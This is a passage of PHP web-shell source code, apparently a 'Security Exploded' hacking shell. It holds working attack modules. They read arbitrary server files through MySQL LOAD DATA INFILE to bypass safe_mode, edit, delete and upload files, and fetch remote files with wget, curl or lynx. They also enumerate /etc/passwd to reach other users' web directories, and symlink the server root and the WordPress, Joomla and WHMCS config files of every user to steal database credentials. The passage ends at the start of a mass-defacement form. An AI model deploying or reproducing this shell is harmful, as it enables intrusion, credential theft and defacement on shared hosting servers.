1828 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1829 mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
1830 $result = mysql_query("SELECT * FROM tmp_file;");
1831 if (!$result) {
1832 echo "<b>Error in reading file (permision denied)!</b>";
1833 } else {
1834 for ($i = 0;$i < mysql_num_fields($result);$i++) {
1835 $name = mysql_field_name($result, $i);
1836 }
1837 $f = "";
1838 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1839 $f.= join(" ", $row);
1840 }
1841 if (empty($f)) {
1842 echo "<b>File \"" . $sql_getfile . "\" does not exists or empty!</b><br>";
1843 } else {
1844 echo "<b>File \"" . $sql_getfile . "\":</b><br>" . nl2br(htmlspecialchars($f)) . "<br>";
1845 }
1846 mysql_free_result($result);
1847 mysql_query("DROP TABLE tmp_file;");
1848 }
1849 }
1850 mysql_drop_db($tmpdb);
1851 }
1852 }
1853 }
1854 }
1855 echo '</td></tr>';
1856 if ($sql_sock) {
1857 $affected = @mysql_affected_rows($sql_sock);
1858 if ((!is_numeric($affected)) or ($affected < 0)) {
1859 $affected = 0;
1860 }
1861 echo " <tr><th colspan=2>Affected rows: $affected</th></tr>";
1862 }
1863 echo '</table></center>';
1864 }
1865 echo '</form>';
1866 }
1867}
1868//*--------------------------------[ batas ]--------------------------------*//
1869elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
1870 @ini_set('output_buffering', 0);
1871 @ob_start();
1872 eval("phpinfo();");
1873 $buff = @ob_get_contents();
1874 @ob_end_clean();
1875 $awal = strpos($buff, "<body>") + 6;
1876 $akhir = strpos($buff, "</body>");
1877 echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
1878} elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
1879 if (is_file($_GET['view'])) {
1880 if (!isset($file)) $file = magicboom($_GET['view']);
1881 if (!$win && $posix) {
1882 $name = @posix_getpwuid(@fileowner($folder));
1883 $group = @posix_getgrgid(@filegroup($folder));
1884 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
1885 } else {
1886 $owner = $user;
1887 }
1888 $filn = basename($file);
1889 echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
1890 <tr><td>Filename</td><td><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span>
1891 <form action=\"?y=" . $pwd . "&view=$file\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
1892 <input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" />
1893 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" />
1894 <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
1895 <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" />
1896 </form>
1897 </td></tr>
1898 <tr><td>Size</td><td>" . ukuran($file) . "</td></tr>
1899 <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr>
1900 <tr><td>Owner</td><td>" . $owner . "</td></tr>
1901 <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr>
1902 <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr>
1903 <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr>
1904 <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">Edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">Rename</a> | <a href=\"?y=$pwd&delete=$file\">Delete</a> | <a href=\"?y=$pwd&dl=$file\">Download</a> (<a href=\"?y=$pwd&dlgzip=$file\">GZip</a>)</td></tr>
1905 <tr><td>View</td><td><a href=\"?y=" . $pwd . "&view=" . $file . "\">Text</a> | <a href=\"?y=" . $pwd . "&view=" . $file . "&type=code\">Code</a> | <a href=\"?y=" . $pwd . "&view=" . $file . "&type=image\">Image</a></td></tr>
1906 </table>";
1907 if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
1908 echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=" . $pwd . "&img=" . $filn . "\"></div>";
1909 } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
1910 echo "<div class=\"viewfile\">";
1911 $file = wordwrap(@file_get_contents($file), "240", " ");
1912 @highlight_string($file);
1913 echo "</div>";
1914 } else {
1915 echo "<div class=\"viewfile\">";
1916 echo nl2br(htmlentities((@file_get_contents($file))));
1917 echo "</div>";
1918 }
1919 } elseif (is_dir($_GET['view'])) {
1920 echo showdir($pwd, $prompt);
1921 }
1922} elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
1923 @ini_set('output_buffering', 0);
1924 if (isset($_POST['save'])) {
1925 $file = $_POST['saveas'];
1926 $content = magicboom($_POST['content']);
1927 if ($filez = @fopen($file, "w")) {
1928 $time = date("d-M-Y H:i", time());
1929 if (@fwrite($filez, $content)) $msg = "file saved <span class=\"gaya\">@</span> " . $time;
1930 else $msg = "failed to save";
1931 @fclose($filez);
1932 } else $msg = "permission denied";
1933 }
1934 if (!isset($file)) $file = $_GET['edit'];
1935 if ($filez = @fopen($file, "r")) {
1936 $content = "";
1937 while (!feof($filez)) {
1938 $content.= htmlentities(str_replace("''", "'", fgets($filez)));
1939 }
1940 @fclose($filez);
1941 }
1942?>
1943<form action="?y=<?=$pwd; ?>&edit=<?=$file; ?>" method="post">
1944<table class="cmdbox">
1945<tr><td colspan="2">
1946<textarea class="output" name="content">
1947<?=$content; ?>
1948</textarea>
1949<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?=$file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
1950 <?=$msg; ?></td></tr>
1951</table>
1952</form>
1953<?php
1954} elseif (isset($_GET['x']) && ($_GET['x'] == 'logout')) {
1955?>
1956<form action="?y=<?=$pwd; ?>&x=logout" method="post">
1957
1958<?php
1959 unset($_SESSION[md5($_SERVER['HTTP_HOST']) ]);
1960 echo "<br /><br /><center>Byee !!!!!!</center>";
1961}
1962//////////////////////////////////////////////////////////////////
1963///////////////////////////////////////////////////////////////////////////////
1964elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
1965 @ini_set('output_buffering', 0);
1966 echo "
1967<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
1968
1969 <tr>
1970 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
1971 <center><b><font size=5 style=italic color=#00ff00>Uploader</font></b></center></td></tr></table>
1972";
1973 if (isset($_POST['uploadcomp'])) {
1974 if (is_uploaded_file($_FILES['file']['tmp_name'])) {
1975 $path = magicboom($_POST['path']);
1976 $fname = $_FILES['file']['name'];
1977 $tmp_name = $_FILES['file']['tmp_name'];
1978 $pindah = $path . $fname;
1979 $stat = @move_uploaded_file($tmp_name, $pindah);
1980 if ($stat) {
1981 $msg = "file uploaded to $pindah";
1982 } else $msg = "failed to upload $fname";
1983 } else $msg = "failed to upload $fname";
1984 } elseif (isset($_POST['uploadurl'])) {
1985 @ini_set('output_buffering', 0);
1986 $pilihan = trim($_POST['pilihan']);
1987 $wurl = trim($_POST['wurl']);
1988 $path = magicboom($_POST['path']);
1989 $namafile = download($pilihan, $wurl);
1990 $pindah = $path . $namafile;
1991 if (is_file($pindah)) {
1992 $msg = "file uploaded to $pindah";
1993 } else $msg = "failed to upload $namafile";
1994 }
1995?>
1996<form action="?y=<?=$pwd; ?>&x=upload" enctype="multipart/form-data" method="post"><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From Computer</b></th></tr><tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
1997<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?=$pwd; ?>" /></td></tr>
1998</tr></table></form><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From URL</b></th></tr><tr><td colspan="2"><form method="post" style="margin:0;padding:0;" action="?y=<?=$pwd; ?>&x=upload">
1999<table><tr><td>Url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
2000<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?=$pwd; ?>" /></td></tr>
2001<tr><td><select size="1" class="inputz" name="pilihan"><option value="wwget">Wget</option><option value="wlynx">Lynx</option><option value="wfread">Fread</option><option value="wfetch">Fetch</option><option value="wlinks">Links</option><option value="wget">Get</option><option value="wcurl">Curl</option>
2002</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
2003</tr></table><div style="text-align:center;margin:2px;"><?=$msg; ?></div>
2004<?php
2005}
2006////////////////////////////////////////////////////////////////////////////////////
2007elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
2008 @ini_set('output_buffering', 0);
2009 echo "
2010<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
2011
2012 <tr>
2013 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
2014 <center><b><font size=5 style=italic color=#00ff00>Jumping</font></b></center></td></tr></table>
2015";
2016?>
2017 <form action="?y=<?=$pwd; ?>&x=jumping" method="post">
2018 <?php
2019 echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";
2020 ($sm = ini_get('safe_mode') == 0) ? $sm = 'off' : die("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink> : Safe_mode = On </b></td></tr></table>");
2021 set_time_limit(0);
2022 echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";
2023 @$passwd = fopen('/etc/passwd', 'r');
2024 if (!$passwd) {
2025 die("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink> : I Can't Read [ /etc/passwd ]</b></td></tr></table>
2026<br><br><br><br><center><div class=\"info\"><b></div>
2027<br><br><div class=\"jaya\"> © " . date('Y', time()) . " Security Exploded </b></div></center>");
2028 }
2029 $pub = array();
2030 $users = array();
2031 $conf = array();
2032 $i = 0;
2033 while (!feof($passwd)) {
2034 $str = fgets($passwd);
2035 if ($i > 100) {
2036 $pos = strpos($str, ':');
2037 $username = substr($str, 0, $pos);
2038 $dirz = '/home/' . $username . '/public_html/';
2039 if (($username != '')) {
2040 if (is_readable($dirz)) {
2041 array_push($users, $username);
2042 array_push($pub, $dirz);
2043 }
2044 }
2045 }
2046 $i++;
2047 }
2048 foreach ($users as $user) {
2049 echo '
2050<table><tr><td>[Found !]</td>
2051 <td><a href="?y=/home/' . $user . '/public_html">/home/' . $user . '/public_html/</a><td></tr>';
2052 }
2053 echo "</table>";
2054}
2055/////////////////////////////////////////////////////////////////////////////////////
2056elseif (isset($_GET['x']) && ($_GET['x'] == 'symlink')) {
2057 @ini_set('output_buffering', 0);
2058 echo "
2059<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
2060
2061 <tr>
2062 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
2063 <center><b><font size=5 style=italic color=#00ff00>Multi Tool Symlink</font></b></center></td></tr></table>
2064";
2065?>
2066<form action="?y=<?=$pwd; ?>&x=symlink" method="post">
2067<form method='post'><center><table class='tabnet'><tr><th colspan='5'><b>Multi Tool Symlink</b></th></tr><tr><th><b>Manual Symlink</b></th><th><b>Auto Symlink</b></th><th><b>Domain Viewer</b></th></tr><tr><td><input class='inputzbut' type='submit'name='symlinkr' value="Manual Symlink" /></td><td><input class='inputzbut' type='submit'name='symlinks' value="Auto Symlink" /></td><td><input class='inputzbut' type='submit' name='domain' value="Domain Viewer" /></td></tr></table></center></form><br><hr><br><br>
2068<?php
2069 #==================[ Multi Tool Symlink ]==================#
2070 if (isset($_POST['domain'])) {
2071?>
2072 <form action="?y=<?=$pwd; ?>&x=dv" method="post">
2073 <center><h2>[ Domain Viewer by ]<br>Notes: If Blank(No Domain) That Mean Not Work Use Domain Viewer, You Can Use Auto Symlink Server</center><br><br>
2074 <?php
2075 function openBaseDir() {
2076 $openBaseDir = ini_get("open_basedir");
2077 if (!$openBaseDir) {
2078 $openBaseDir = '<font color="green">OFF</font>';
2079 } else {
2080 $openBaseDir = '<font color="red">ON</font>';
2081 }
2082 return $openBaseDir;
2083 }
2084 echo '
2085 <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
2086 <td height="100" align="left" class="td1">';
2087 $pg = basename(__FILE__);
2088 $safe_mode = @ini_get('safe_mode');
2089 $dir = @getcwd();
2090 ////////////////////////////////////////////////////
2091 // LET'S PLAY ~
2092 ##.htaccess
2093 @mkdir('explodedsym', 0777);
2094 @symlink("/", "explodedsym/root");
2095 $htaccss = "Options all
2096 DirectoryIndex Sux.html
2097 AddType text/plain .php
2098 AddHandler server-parsed .php
2099 AddType text/plain .html
2100 AddHandler txt .html
2101 Require None
2102 Satisfy Any";
2103 file_put_contents("explodedsym/.htaccess", $htaccss);
2104 $etc = file_get_contents("/etc/passwd");
2105 $etcz = explode("
2106", $etc);
2107 ##Symlink to the ROOT :p
2108 foreach ($etcz as $etz) {
2109 $etcc = explode(":", $etz);
2110 error_reporting(0);
2111 $current_dir = posix_getcwd();
2112 $dir = explode("/", $current_dir);
2113 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
2114 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/blog/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
2115 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/wp/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
2116 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/site/wp-config.php', "explodedsym/" . $etcc[0] . '-WordPress.txt');
2117 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/config.php', "explodedsym/" . $etcc[0] . '-PhpBB.txt');
2118 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/includes/config.php', "explodedsym/" . $etcc[0] . '-vBulletin.txt');
2119 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
2120 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/web/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
2121 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/joomla/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
2122 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/site/configuration.php', "explodedsym/" . $etcc[0] . '-Joomla.txt');
2123 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/conf_global.php', "explodedsym/" . $etcc[0] . '-IPB.txt');
2124 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/inc/config.php', "explodedsym/" . $etcc[0] . '-MyBB.txt');
2125 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/Settings.php', "explodedsym/" . $etcc[0] . '-SMF.txt');
2126 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/sites/default/settings.php', "explodedsym/" . $etcc[0] . '-Drupal.txt');
2127 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/e107_config.php', "explodedsym/" . $etcc[0] . '-e107.txt');
2128 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/datas/config.php', "explodedsym/" . $etcc[0] . '-Seditio.txt');
2129 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/includes/configure.php', "explodedsym/" . $etcc[0] . '-osCommerce.txt');
2130 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/client/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2131 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/clientes/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2132 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/support/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2133 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/supportes/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2134 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/whmcs/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2135 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/domain/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2136 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/hosting/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2137 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/whmc/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2138 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/billing/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2139 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/portal/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2140 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/order/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2141 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/clientarea/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2142 symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/domains/configuration.php', "explodedsym/" . $etcc[0] . '-WHMCS.txt');
2143 }
2144 #############################
2145 if (is_readable("/var/named")) {
2146 echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2147 echo '<tr><td><center><b>SITE</b></center></td><td>
2148 <center><b>USER</b></center></td>
2149 <td></center><b>SYMLINK</b></center></td>';
2150 $list = scandir("/var/named");
2151 foreach ($list as $domain) {
2152 if (strpos($domain, ".db")) {
2153 $i+= 1;
2154 $domain = str_replace('.db', '', $domain);
2155 $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
2156 echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td>
2157 <td class='td1'><center><font color='red'>" . $owner['name'] . "</font></center></td>
2158 <td class='td1'><center><a href='explodedsym/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
2159 }
2160 }
2161 echo "<center>Total Domains Found: " . $i . "</center><br />";
2162 } else {
2163 echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>";
2164 }
2165 ##################################
2166 error_reporting(0);
2167 $etc = file_get_contents("/etc/passwd");
2168 $etcz = explode("
2169", $etc);
2170 if (is_readable("/etc/passwd")) {
2171 echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2172 echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
2173 $list = scandir("/var/named");
2174 foreach ($etcz as $etz) {
2175 $etcc = explode(":", $etz);
2176 foreach ($list as $domain) {
2177 if (strpos($domain, ".db")) {
2178 $domain = str_replace('.db', '', $domain);
2179 $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
2180 if ($owner['name'] == $etcc[0]) {
2181 $i+= 1;
2182 echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td><center>
2183<td class='td1'><font color='red'>" . $owner['name'] . "</font></center></td>
2184<td class='td1'><center><a href='explodedsym/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
2185 }
2186 }
2187 }
2188 }
2189 echo "<center>Total Domains Found: " . $i . "</center><br />";
2190 }
2191 ###############################
2192 if (is_readable("/etc/named.conf")) {
2193 echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2194 echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
2195 $named = file_get_contents("/etc/named.conf");
2196 preg_match_all('%zone \"(.*)\" {%', $named, $domains);
2197 foreach ($domains[1] as $domain) {
2198 $domain = trim($domain);
2199 $i+= 1;
2200 $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
2201 echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td><td class='td1'><center><font color='red'>" . $owner['name'] . "</font></center></td><td class='td1'><center><a href='explodedsym/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
2202 }
2203 echo "<center>Total Domains Found: " . $i . "</center><br />";
2204 } else {
2205 echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>";
2206 }
2207 ############################
2208 if (is_readable("/etc/valiases")) {
2209 echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2210 echo '<tr><td><center><b>SITE</b></center></td><td>
2211<center><b>USER</b></center></td><td></center>
2212<b>SYMLINK</b></center></td>';
2213 $list = scandir("/etc/valiases");
2214 foreach ($list as $domain) {
2215 $i+= 1;
2216 $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
2217 echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td>
2218<center><td class='td1'><font color='red'>" . $owner['name'] . "</font></center></td>
2219<td class='td1'><center><a href='explodedsym/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
2220 }
2221 echo "<center>Total Domains Found: " . $i . "</center><br />";
2222 } else {
2223 echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>";
2224 }
2225 }
2226 ##################################
2227 #==================[ Multi Tool Symlink ]==================#
2228 if (isset($_POST['symlinkr'])) {
2229 @set_time_limit(0);
2230 @mkdir('sym', 0777);
2231 error_reporting(0);
2232 $htaccess = "Options all
2233 DirectoryIndex gaza.html
2234 AddType text/plain .php
2235 AddHandler server-parsed .php
2236 AddType text/plain .html
2237 AddHandler txt .html
2238 Require None
2239 Satisfy Any";
2240 $op = @fopen('sym/.htaccess', 'w');
2241 fwrite($op, $htaccess);
2242 echo '<center><b>[ Manual Symlink ]</b><br><br>
2243<form method="post"><table class="tabnet"><th colspan="5">Manual Symlink</th><tr>
2244<td>File Path :</td><td><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/></td></tr>
2245<tr><td>Symlink Name :</td><td><input class="inputz" type="text" name="symfile" value="config.txt" size="60"/></td></tr>
2246<tr><td></td><td><input class="inputzbut" type="submit" value="Symlink" name="symlink" /></td></tr></table></form></center>';
2247 $target = $_POST['file'];
2248 $symfile = $_POST['symfile'];
2249 $symlink = $_POST['symlink'];
2250 if ($symlink) {
2251 @symlink("$target", "sym/$symfile");
2252 echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><center>';
2253 }
2254 }
2255 #==================[ Multi Tool Symlink ]==================#
2256 if (isset($_POST['symlinks'])) {
2257 @set_time_limit(0);
2258 echo "<center><h1>[ Auto Symlink Server]</h1></center><br><center><div class=content>";
2259 $d0mains = @file("/etc/named.conf");
2260 ##httaces
2261 if ($d0mains) {
2262 @mkdir("explodedsyms", 0777);
2263 @chdir("explodedsyms");
2264 @exe("ln -s / root");
2265 $file3 = 'Options all
2266DirectoryIndex Sux.html
2267AddType text/plain .php
2268AddHandler server-parsed .php
2269AddType text/plain .html
2270AddHandler txt .html
2271Require None
2272Satisfy Any';
2273 $fp3 = fopen('.htaccess', 'w');
2274 $fw3 = fwrite($fp3, $file3);
2275 @fclose($fp3);
2276 echo "
2277<table align=center border=1 style='width:60%;border-color:#333333;'>
2278<tr>
2279<td align=center><font size=3>S. No.</font></td>
2280<td align=center><font size=3>Domains</font></td>
2281<td align=center><font size=3>Users</font></td>
2282<td align=center><font size=3>Symlink</font></td>
2283</tr>";
2284 $dcount = 1;
2285 foreach ($d0mains as $d0main) {
2286 if (eregi("zone", $d0main)) {
2287 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2288 flush();
2289 if (strlen(trim($domains[1][0])) > 2) {
2290 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
2291 echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>
2292<td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td>
2293<td>" . $user['name'] . "</td>
2294<td><a href='/k2/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
2295 flush();
2296 $dcount++;
2297 }
2298 }
2299 }
2300 echo "</table>";
2301 } else {
2302 $TEST = @file('/etc/passwd');
2303 if ($TEST) {
2304 @mkdir("explodedsyms", 0777);
2305 @chdir("explodedsyms");
2306 exe("ln -s / root");
2307 $file3 = 'Options all
2308 DirectoryIndex Sux.html
2309 AddType text/plain .php
2310 AddHandler server-parsed .php
2311 AddType text/plain .html
2312 AddHandler txt .html
2313 Require None
2314 Satisfy Any';
2315 $fp3 = fopen('.htaccess', 'w');
2316 $fw3 = fwrite($fp3, $file3);
2317 @fclose($fp3);
2318 echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
2319 <table align=center border=1><tr>
2320 <td align=center><font size=4>S. No.</font></td>
2321 <td align=center><font size=4>Users</font></td>
2322 <td align=center><font size=4>Symlink</font></td></tr>";
2323 $dcount = 1;
2324 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
2325 while (!feof($file)) {
2326 $s = fgets($file);
2327 $matches = array();
2328 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2329 $matches = str_replace("home/", "", $matches[1]);
2330 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
2331 echo "<tr><td align=center><font size=3>" . $dcount . "</td>
2332 <td align=center><font class=txt>" . $matches . "</td>";
2333 echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2334 $dcount++;
2335 }
2336 fclose($file);
2337 echo "</table>";
2338 } else {
2339 if ($os != "Windows") {
2340 @mkdir("explodedsyms", 0777);
2341 @chdir("explodedsyms");
2342 @exe("ln -s / root");
2343 $file3 = 'Options all
2344 DirectoryIndex Sux.html
2345 AddType text/plain .php
2346 AddHandler server-parsed .php
2347 AddType text/plain .html
2348 AddHandler txt .html
2349 Require None
2350 Satisfy Any';
2351 $fp3 = fopen('.htaccess', 'w');
2352 $fw3 = fwrite($fp3, $file3);
2353 @fclose($fp3);
2354 echo "<center>
2355 <table align=center border=1><tr>
2356 <td align=center><font size=4>Id</font></td>
2357 <td align=center><font size=4>Users</font></td>
2358 <td align=center><font size=4>Symlink</font></td></tr>";
2359 $temp = "";
2360 $val1 = 0;
2361 $val2 = 1000;
2362 for (;$val1 <= $val2;$val1++) {
2363 $uid = @posix_getpwuid($val1);
2364 if ($uid) $temp.= join(':', $uid) . " ";
2365 }
2366 echo '<br/>';
2367 $temp = trim($temp);
2368 $file5 = fopen("test.txt", "w");
2369 fputs($file5, $temp);
2370 fclose($file5);
2371 $dcount = 1;
2372 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2373 while (!feof($file)) {
2374 $s = fgets($file);
2375 $matches = array();
2376 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2377 $matches = str_replace("home/", "", $matches[1]);
2378 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
2379 echo "<tr><td align=center><font size=3>" . $dcount . "</td>
2380 <td align=center><font class=txt>" . $matches . "</td>";
2381 echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
2382 $dcount++;
2383 }
2384 fclose($file);
2385 echo "</table></div></center>";
2386 unlink("test.txt");
2387 } else echo "<center><font size=4>Cannot create Symlink</font></center>";
2388 }
2389 }
2390 }
2391}
2392/////////////////////////////////////////////////////////////////
2393/////////////////////////////////////////////////////////////////////////////////////////////
2394elseif (isset($_GET['x']) && ($_GET['x'] == 'mass')) {
2395 echo "
2396<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
2397
2398 <tr>
2399 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
2400 <center><b><font size=5 style=italic color=#00ff00>Mass Deface</font></b></center></td></tr></table>
2401";
2402 error_reporting(0); ?>
2403<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF'] ?>" method='post'>
2404<td><table><table class="tabnet" >
2405
2406<th colspan='5'><b>Folder Mass Deface</b></th>
